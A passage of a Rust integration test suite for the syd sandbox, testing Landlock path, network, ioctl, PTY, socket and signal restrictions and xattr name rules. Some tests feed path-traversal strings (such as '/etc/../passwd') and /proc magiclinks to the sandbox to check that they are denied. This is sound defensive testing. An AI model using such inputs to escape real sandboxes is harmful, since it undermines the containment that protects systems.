    const TEST_CASES: &[&str] = &[
        "allow/lock/read+/etc/../passwd",
        "allow/lock/write,exec+..",
        "allow/lock/ioctl+file../..",
        "allow/lock/create,delete,rename+/hello../../",
        "allow/lock/symlink,truncate+/opt/../..hello",
        "allow/lock/readdir,mkdir,rmdir+/x.../../.",
        "allow/lock/mkbdev,mkcdev,mkfifo+..././..",
        "allow/lock/bind+/var/run/../socket",
    ];

    for magic in TEST_CASES {
        let status = syd()
            .p("off")
            .p("landlock")
            .m(magic)
            .do_("read_file", ["/"])
            .status()
            .expect("execute syd");
        assert_status_access_denied!(status);
    }

    Ok(())
}

fn test_syd_landlock_magiclink_deny() -> TestResult {
    skip_unless_landlock_abi_supported!(3);

    let pid = Pid::this().to_string();
    let test_cases: &[String] = &[
        format!("allow/lock/read+/proc/{pid}/exe"),
        format!("allow/lock/write,exec+/proc/{pid}/cwd"),
        format!("allow/lock/exec+/proc/{pid}/root"),
        format!("allow/lock/create,delete,rename+/proc/{pid}/fd/0"),
        format!("allow/lock/symlink,truncate+/proc/{pid}/ns/mnt"),
        format!("allow/lock/readdir,mkdir,rmdir+/proc/{pid}/ns/pid"),
        format!("allow/lock/mkbdev,mkcdev,mkfifo+/proc/{pid}/ns/user"),
        format!("allow/lock/bind+/proc/{pid}/ns/net"),
    ];

    for magic in test_cases {
        let status = syd()
            .p("off")
            .p("landlock")
            .m(magic)
            .do_("read_file", ["/"])
            .status()
            .expect("execute syd");
        assert_status_loop!(status);
    }

    Ok(())
}

// Check Landlock read restrictions (ABI 3)
fn test_syd_landlock_read_restrictions_allow() -> TestResult {
    skip_unless_landlock_abi_supported!(3);

    // open(/, O_RDONLY) is allowed without Landlock.
    let status = syd()
        .p("off")
        .do_("read_file", ["/"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check Landlock read restrictions (ABI 3)
fn test_syd_landlock_read_restrictions_deny() -> TestResult {
    skip_unless_landlock_abi_supported!(3);

    // open(/, O_RDONLY) is not allowed with Landlock.
    // Requires readdir access right.
    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read,exec+/")
        .do_("read_file", ["/"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    Ok(())
}

// Check Landlock read restrictions (ABI 3)
fn test_syd_landlock_read_restrictions_list() -> TestResult {
    skip_unless_landlock_abi_supported!(3);

    // open(/, O_RDONLY) is allowed with Landlock explicitly.
    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read,readdir,exec+/")
        .do_("read_file", ["/"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check Landlock write restrictions (ABI 3)
fn test_syd_landlock_write_restrictions_allow() -> TestResult {
    skip_unless_landlock_abi_supported!(3);

    // Write input file.
    syd::fs::cat(
        "chk",
        "Change return success. Going and coming without error. Action brings good fortune.",
    )?;

    // open(./chk, O_WRONLY) is allowed without Landlock.
    let status = syd()
        .p("off")
        .do_("write_file", ["./chk"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check Landlock write restrictions (ABI 3)
fn test_syd_landlock_write_restrictions_deny() -> TestResult {
    skip_unless_landlock_abi_supported!(3);

    // Write input file.
    syd::fs::cat(
        "chk",
        "Change return success. Going and coming without error. Action brings good fortune.",
    )?;

    // open(./chk, O_WRONLY) is not allowed with Landlock.
    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read,exec+/")
        .m("allow/lock/write-/dev/shm")
        .m("allow/lock/write-/tmp")
        .m("allow/lock/write-/var/tmp")
        .do_("write_file", ["./chk"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    Ok(())
}

// Check Landlock write restrictions (ABI 3)
fn test_syd_landlock_write_restrictions_list() -> TestResult {
    skip_unless_landlock_abi_supported!(3);

    // Write input file.
    syd::fs::cat(
        "chk",
        "Change return success. Going and coming without error. Action brings good fortune.",
    )?;

    // open(./chk, O_WRONLY) is allowed with Landlock explicitly.
    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read,exec+/")
        .m("allow/lock/all-/dev/shm")
        .m("allow/lock/all-/tmp")
        .m("allow/lock/all-/var/tmp")
        .m("allow/lock/write+./chk")
        .do_("write_file", ["./chk"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check Landlock write restrictions via /proc reopen (ABI 3)
fn test_syd_landlock_write_via_proc_reopen_restrictions_allow() -> TestResult {
    skip_unless_landlock_abi_supported!(3);

    // Write input file.
    syd::fs::cat(
        "chk",
        "Change return success. Going and coming without error. Action brings good fortune.",
    )?;

    // open(./chk, O_WRONLY) is allowed without Landlock.
    let status = syd()
        .p("off")
        .do_("write_file_via_proc_reopen", ["./chk"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check Landlock write restrictions via /proc reopen (ABI 3)
fn test_syd_landlock_write_via_proc_reopen_restrictions_deny() -> TestResult {
    skip_unless_landlock_abi_supported!(3);

    // Write input file.
    syd::fs::cat(
        "chk",
        "Change return success. Going and coming without error. Action brings good fortune.",
    )?;

    // open(./chk, O_WRONLY) is not allowed with Landlock.
    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read,exec+/")
        .m("allow/lock/write-/dev/shm")
        .m("allow/lock/write-/tmp")
        .m("allow/lock/write-/var/tmp")
        .do_("write_file_via_proc_reopen", ["./chk"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    Ok(())
}

// Check Landlock write restrictions via /proc reopen (ABI 3)
fn test_syd_landlock_write_via_proc_reopen_restrictions_list() -> TestResult {
    skip_unless_landlock_abi_supported!(3);

    // Write input file.
    syd::fs::cat(
        "chk",
        "Change return success. Going and coming without error. Action brings good fortune.",
    )?;

    // open(./chk, O_WRONLY) is allowed with Landlock explicitly.
    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read,exec+/")
        .m("allow/lock/all-/dev/shm")
        .m("allow/lock/all-/tmp")
        .m("allow/lock/all-/var/tmp")
        .m("allow/lock/write+./chk")
        .do_("write_file_via_proc_reopen", ["./chk"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check Landlock bind restrictions (ABI 4).
fn test_syd_landlock_bind_restrictions_allow() -> TestResult {
    skip_unless_landlock_abi_supported!(4);

    // BindTcp is allowed without Landlock.
    let status = syd()
        .p("off")
        .do_("bind_port", ["0"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check Landlock bind restrictions (ABI 4).
fn test_syd_landlock_bind_restrictions_deny() -> TestResult {
    skip_unless_landlock_abi_supported!(4);

    // BindTcp is denied with Landlock.
    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read,readdir,exec+/")
        .do_("bind_port", ["0"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    Ok(())
}

// Check Landlock bind restrictions (ABI 4).
fn test_syd_landlock_bind_restrictions_list() -> TestResult {
    skip_unless_landlock_abi_supported!(4);

    // BindTcp is allowed explicitly with Landlock.
    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read,exec+/")
        .m("allow/lock/bind+0")
        .do_("bind_port", ["0"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check Landlock connect restrictions (ABI 4).
fn test_syd_landlock_connect_restrictions_allow() -> TestResult {
    skip_unless_available!("grep", "socat", "sh", "tee", "timeout");
    skip_unless_landlock_abi_supported!(4);

    // Select a random unprivileged port.
    let port = randport()?;

    // Write input data for socat.
    syd::fs::cat(
        "chk",
        "Change return success. Going and coming without error. Action brings good fortune.",
    )?;

    // Start socat in the background.
    let syd_pds = &SYD_PDS.to_string();
    let mut child = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            "{syd_pds} socat -u -d -d FILE:chk TCP4-LISTEN:{port},bind=127.0.0.1,forever 2>&1 | tee log"
        ))
        .spawn()
        .expect("execute socat");

    // Wait for socat to start listening.
    Command::new("timeout")
        .arg("-sKILL")
        .arg("45s")
        .arg("sh")
        .arg("-c")
        .arg("while ! grep -q listening log; do :; done")
        .status()
        .expect("wait for socat");

    // ConnectTcp is allowed without Landlock.
    let status = syd()
        .p("off")
        .do_("connect_port", [&port.to_string()])
        .status()
        .expect("execute syd");

    let _ = child.kill();
    child.wait().expect("wait socat");

    assert_status_ok!(status);

    Ok(())
}

// Check Landlock connect restrictions (ABI 4).
fn test_syd_landlock_connect_restrictions_deny() -> TestResult {
    skip_unless_available!("grep", "socat", "sh", "tee", "timeout");
    skip_unless_landlock_abi_supported!(4);

    // Select a random unprivileged port.
    let port = randport()?;

    // Write input data for socat.
    syd::fs::cat(
        "chk",
        "Change return success. Going and coming without error. Action brings good fortune.",
    )?;

    // Start socat in the background.
    let syd_pds = &SYD_PDS.to_string();
    let mut child = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            "{syd_pds} socat -u -d -d FILE:chk TCP4-LISTEN:{port},bind=127.0.0.1,forever 2>&1 | tee log"
        ))
        .spawn()
        .expect("execute socat");

    // Wait for socat to start listening.
    Command::new("timeout")
        .arg("-sKILL")
        .arg("45s")
        .arg("sh")
        .arg("-c")
        .arg("while ! grep -q listening log; do :; done")
        .status()
        .expect("wait for socat");

    // ConnectTcp is denied with Landlock.
    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read,exec+/")
        .do_("connect_port", [&port.to_string()])
        .status()
        .expect("execute syd");

    let _ = child.kill();
    child.wait().expect("wait socat");

    assert_status_access_denied!(status);

    Ok(())
}

// Check Landlock connect restrictions (ABI 4).
fn test_syd_landlock_connect_restrictions_list() -> TestResult {
    skip_unless_available!("grep", "socat", "sh", "tee", "timeout");
    skip_unless_landlock_abi_supported!(4);

    // Select a random unprivileged port.
    let port = randport()?;

    // Write input data for socat.
    syd::fs::cat(
        "chk",
        "Change return success. Going and coming without error. Action brings good fortune.",
    )?;

    // Start socat in the background.
    let syd_pds = &SYD_PDS.to_string();
    let mut child = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            "{syd_pds} socat -u -d -d FILE:chk TCP4-LISTEN:{port},bind=127.0.0.1,forever 2>&1 | tee log"
        ))
        .spawn()
        .expect("execute socat");

    // Wait for socat to start listening.
    Command::new("timeout")
        .arg("-sKILL")
        .arg("45s")
        .arg("sh")
        .arg("-c")
        .arg("while ! grep -q listening log; do :; done")
        .status()
        .expect("wait for socat");

    // ConnectTcp is allowed explicitly with Landlock.
    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read,exec+/")
        .m(format!("allow/lock/connect+{port}"))
        .do_("connect_port", [&port.to_string()])
        .status()
        .expect("execute syd");

    let _ = child.kill();
    child.wait().expect("wait socat");

    assert_status_ok!(status);

    Ok(())
}

// Check Landlock ioctl restrictions (ABI 5).
fn test_syd_landlock_ioctl_restrictions_allow() -> TestResult {
    skip_unless_landlock_abi_supported!(5);

    // ioctl(/dev/random, FIONBIO) is allowed without Landlock.
    // Its an invalid operation for /dev/random.
    let status = syd()
        .p("off")
        .m("allow/ioctl+FIONBIO")
        .do_("ioctl_device", ["/dev/random"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check Landlock ioctl restrictions (ABI 5).
fn test_syd_landlock_ioctl_restrictions_deny() -> TestResult {
    skip_unless_landlock_abi_supported!(5);

    // ioctl(/dev/random, FIONBIO) is denied with Landlock.
    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read,exec+/")
        .m("allow/ioctl+FIONBIO")
        .do_("ioctl_device", ["/dev/random"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    Ok(())
}

// Python script to attempt openpty and exit with errno on failure.
const PYTHON_TRY_OPENPTY: &str =
    "import os, sys;\ntry: os.openpty()\nexcept OSError as e: sys.exit(e.errno)";

// Check Landlock ioctl restrictions with PTYs (ABI 5).
fn test_syd_landlock_ioctl_restrictions_pty_allow_1() -> TestResult {
    skip_unless_landlock_abi_supported!(5);
    skip_unless_pty!();
    skip_unless_available!("python3");

    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read,exec+/")
        .m("allow/lock/write,ioctl+/dev/ptmx")
        .m("allow/lock/write,ioctl+/dev/pts")
        .args(["--", "python3", "-c", PYTHON_TRY_OPENPTY])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check Landlock ioctl restrictions with PTYs (ABI 5).
fn test_syd_landlock_ioctl_restrictions_pty_allow_2() -> TestResult {
    skip_unless_landlock_abi_supported!(5);
    skip_unless_pty!();
    skip_unless_available!("python3");

    let status = syd()
        .p("off")
        .p("landlock")
        .p("tty")
        .m("allow/lock/read,exec+/")
        .args(["--", "python3", "-c", PYTHON_TRY_OPENPTY])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check Landlock ioctl restrictions with PTYs (ABI 5).
fn test_syd_landlock_ioctl_restrictions_pty_deny_1() -> TestResult {
    skip_unless_landlock_abi_supported!(5);
    skip_unless_pty!();
    skip_unless_available!("python3");

    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read,exec+/")
        .args(["--", "python3", "-c", PYTHON_TRY_OPENPTY])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    Ok(())
}

// Check Landlock ioctl restrictions with PTYs (ABI 5).
fn test_syd_landlock_ioctl_restrictions_pty_deny_2() -> TestResult {
    skip_unless_landlock_abi_supported!(5);
    skip_unless_pty!();
    skip_unless_available!("python3");

    let status = syd()
        .p("off")
        .p("landlock")
        .p("tty")
        .m("allow/lock/read,exec+/")
        .m("allow/lock/write,ioctl-/dev/ptmx")
        .m("allow/lock/write,ioctl-/dev/pts")
        .args(["--", "python3", "-c", PYTHON_TRY_OPENPTY])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    Ok(())
}

// Check Landlock abstract unix socket restrictions (ABI 6).
fn test_syd_landlock_abstract_unix_socket_restrictions_allow() -> TestResult {
    skip_unless_available!("grep", "socat", "sh", "tee", "timeout");
    skip_unless_landlock_abi_supported!(6);

    // Write input data for socat.
    syd::fs::cat(
        "chk",
        "Change return success. Going and coming without error. Action brings good fortune.",
    )?;

    // Start socat in the background.
    let syd_pds = &SYD_PDS.to_string();
    let mut child = Command::new("sh")
        .arg("-cex")
        .arg(format!("{syd_pds} socat -u -d -d FILE:chk ABSTRACT-LISTEN:/syd/test/test1.socket,mode=777,forever 2>&1 | tee log"))
        .spawn()
        .expect("execute socat");

    // Wait for socat to start listening.
    Command::new("timeout")
        .arg("-sKILL")
        .arg("45s")
        .arg("sh")
        .arg("-c")
        .arg("while ! grep -q listening log; do :; done")
        .status()
        .expect("wait for socat");

    // connect(\0/syd/test/test1.socket) is allowed without Landlock.
    let status = syd()
        .p("off")
        .do_("connect_unix_abstract", ["/syd/test/test1.socket"])
        .status()
        .expect("execute syd");

    let _ = child.kill();
    child.wait().expect("wait socat");

    assert_status_ok!(status);

    Ok(())
}

// Check Landlock abstract unix socket restrictions (ABI 6).
fn test_syd_landlock_abstract_unix_socket_restrictions_deny() -> TestResult {
    skip_unless_available!("grep", "socat", "sh", "tee", "timeout");
    skip_unless_landlock_abi_supported!(6);

    // Write input data for socat.
    syd::fs::cat(
        "chk",
        "Change return success. Going and coming without error. Action brings good fortune.",
    )?;

    let syd_pds = &SYD_PDS.to_string();
    let mut child = Command::new("sh")
        .arg("-cex")
        .arg(format!("{syd_pds} socat -u -d -d FILE:chk ABSTRACT-LISTEN:/syd/test/test2.socket,mode=777,forever 2>&1 | tee log"))
        .spawn()
        .expect("execute socat");

    // Wait for socat to start listening.
    Command::new("timeout")
        .arg("-sKILL")
        .arg("45s")
        .arg("sh")
        .arg("-c")
        .arg("while ! grep -q listening log; do :; done")
        .status()
        .expect("wait for socat");

    // connect(\0/syd/test/test2.socket) cannot escape Landlock!
    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read,exec+/")
        .do_("connect_unix_abstract", ["/syd/test/test2.socket"])
        .status()
        .expect("execute syd");

    let _ = child.kill();
    child.wait().expect("wait socat");

    assert_status_permission_denied!(status);

    Ok(())
}

// Check Landlock signal restrictions (ABI 6).
fn test_syd_landlock_signal_restrictions_allow() -> TestResult {
    skip_unless_available!("sleep");
    skip_unless_landlock_abi_supported!(6);

    let mut child = Command::new("sleep")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("1m".to_string()))
        .spawn()
        .expect("execute sleep");
    let pid = child.id();

    // kill(pid) does propagate to child without Landlock!
    // This is not possible as of 3.35.2 as we create an
    // unconditional, best-effort Landlock domain which
    // is scope-only.
    let status = syd()
        .p("off")
        .do_("kill", [&pid.to_string(), &libc::SIGKILL.to_string()])
        .status()
        .expect("execute syd");

    let _ = child.kill();
    child.wait().expect("wait sleep");

    assert_status_permission_denied!(status);

    Ok(())
}

// Check Landlock signal restrictions (ABI 6).
fn test_syd_landlock_signal_restrictions_deny() -> TestResult {
    skip_unless_available!("sleep");
    skip_unless_landlock_abi_supported!(6);

    let mut child = Command::new("sleep")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("1m".to_string()))
        .spawn()
        .expect("execute sleep");
    let pid = child.id();

    // kill(pid) does not propagate to child.
    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read,exec+/")
        .do_("kill", [&pid.to_string(), &libc::SIGKILL.to_string()])
        .status()
        .expect("execute syd");

    let _ = child.kill();
    child.wait().expect("wait sleep");

    assert_status_permission_denied!(status);

    Ok(())
}

// Checks socket domain restrictions
fn test_syd_socket_domain_restrictions() -> TestResult {
    let allows = [
        (libc::AF_UNIX, libc::SOCK_DGRAM, 0),
        (libc::AF_UNIX, libc::SOCK_STREAM, 0),
        (libc::AF_INET, libc::SOCK_DGRAM, 0),
        (libc::AF_INET, libc::SOCK_STREAM, 0),
        (libc::AF_INET6, libc::SOCK_DGRAM, 0),
        (libc::AF_INET6, libc::SOCK_STREAM, 0),
    ];
    let denies = [
        // Do not add privileged sockets here.
        (libc::AF_NETLINK, libc::SOCK_DGRAM, libc::NETLINK_GENERIC),
        (libc::AF_NETLINK, libc::SOCK_DGRAM, libc::NETLINK_ROUTE),
    ];
    let kcapis = [(libc::AF_ALG, libc::SOCK_SEQPACKET, 0)];

    for (domain, ty, proto) in &allows {
        let status = syd()
            .p("off")
            .do_(
                "socket",
                [&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
            )
            .status()
            .expect("execute syd");
        assert_status_ok!(status);
    }

    for (domain, ty, proto) in &denies {
        let status = syd()
            .p("off")
            .do_(
                "socket",
                [&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
            )
            .status()
            .expect("execute syd");
        assert_status_not_supported!(status);

        let status = syd()
            .p("off")
            .m("trace/allow_unsupp_socket:1")
            .do_(
                "socket",
                [&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
            )
            .status()
            .expect("execute syd");
        assert_status_ok!(status);
    }

    for (domain, ty, proto) in &kcapis {
        let status = syd()
            .p("off")
            .do_(
                "socket",
                [&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
            )
            .status()
            .expect("execute syd");
        assert_status_not_supported!(status);

        let status = syd()
            .p("off")
            .m("trace/allow_safe_kcapi:1")
            .do_(
                "socket",
                [&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
            )
            .status()
            .expect("execute syd");
        // Careful, kernel may return EAFNOSUPPORT
        // if CONFIG_CRYPTO_USER_API is either not
        // enabled or compiled as a module and the
        // module is not yet loaded.
        assert_status_code_matches!(status, 0 | EAFNOSUPPORT);

        let status = syd()
            .p("off")
            .m("trace/allow_unsupp_socket:1")
            .m("trace/allow_safe_kcapi:1")
            .do_(
                "socket",
                [&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
            )
            .status()
            .expect("execute syd");
        // Careful, kernel may return EAFNOSUPPORT
        // if CONFIG_CRYPTO_USER_API is either not
        // enabled or compiled as a module and the
        // module is not yet loaded.
        assert_status_code_matches!(status, 0 | EAFNOSUPPORT);
    }

    Ok(())
}

// Checks user.syd.* name restrictions for xattrs.
fn test_syd_xattr_name_restrictions_get_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(
            r##"
getfattr -n user.ack.noent file && exit 1 || true
getfattr -n user.ack.test file
getfattr -n user.syd.test file && exit 1 || true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Checks user.syd.* name restrictions for xattrs.
fn test_syd_xattr_name_restrictions_get_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("lock:off")
        .argv(["bash", "-cex"])
        .arg(
            r##"
getfattr -n user.ack.noent file && exit 1 || true
getfattr -n user.ack.test file
getfattr -n user.syd.test file
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Checks user.syd.* name restrictions for xattrs.
fn test_syd_xattr_name_restrictions_set_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(
            r##"
setfattr -x user.ack.noent file && exit 1 || true
setfattr -x user.ack.test file
setfattr -x user.syd.test file && exit 3 || true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Checks user.syd.* name restrictions for xattrs.
fn test_syd_xattr_name_restrictions_set_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("lock:off")
        .argv(["bash", "-cex"])
        .arg(
            r##"
setfattr -x user.ack.noent file && exit 1 || true
setfattr -x user.ack.test file
setfattr -x user.syd.test file
setfattr -n user.syd.test -v 7 file
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Checks user.syd.* name restrictions for xattrs.
fn test_syd_xattr_name_restrictions_lst_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(
            r##"
getfattr -d file | grep -q user.ack.test
getfattr -d file | grep -q user.syd. && exit 1 || true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Checks user.syd.* name restrictions for xattrs.
fn test_syd_xattr_name_restrictions_lst_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("lock:off")
        .argv(["bash", "-cex"])
        .arg(
            r##"
getfattr -d file | grep -q user.ack.test
getfattr -d file | grep -q user.syd.
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_getxattrat_path_linux() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = Command::new("bash")
        .env("SYD_TEST_DO", "getxattrat_path")
        .arg("-cex")
        .arg(format!(
            r##"
echo 1 > exp.1
echo 3 > exp.2
{syd_do} file user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
{syd_do} file user.syd.test > test.2
cmp test.1 exp.1
cmp test.2 exp.2
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_getxattrat_file_linux() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
mkdir dir
setfattr -n user.ack.test -v 1 dir
setfattr -n user.syd.test -v 3 dir
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = Command::new("bash")
        .env("SYD_TEST_DO", "getxattrat_file")
        .arg("-cex")
        .arg(format!(
            r##"
echo 1 > exp.1
echo 3 > exp.2
{syd_do} dir user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
{syd_do} dir user.syd.test > test.2
cmp test.1 exp.1
cmp test.2 exp.2
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_getxattrat_path_syd_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .do__("getxattrat_path")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
echo 1 > exp.1
: > exp.2
{syd_do} file user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
unset r

{syd_do} file user.syd.test > test.2 || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    echo >&2 "getxattrat failed with ENODATA as expected!"
    ;;
*) exit $r;;
esac
unset r

cmp test.1 exp.1
cmp test.2 exp.2
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_getxattrat_path_syd_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("off")
        .m("lock:off")
        .m("sandbox/stat:on")
        .m("allow/stat+/***")
        .do__("getxattrat_path")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
echo 1 > exp.1
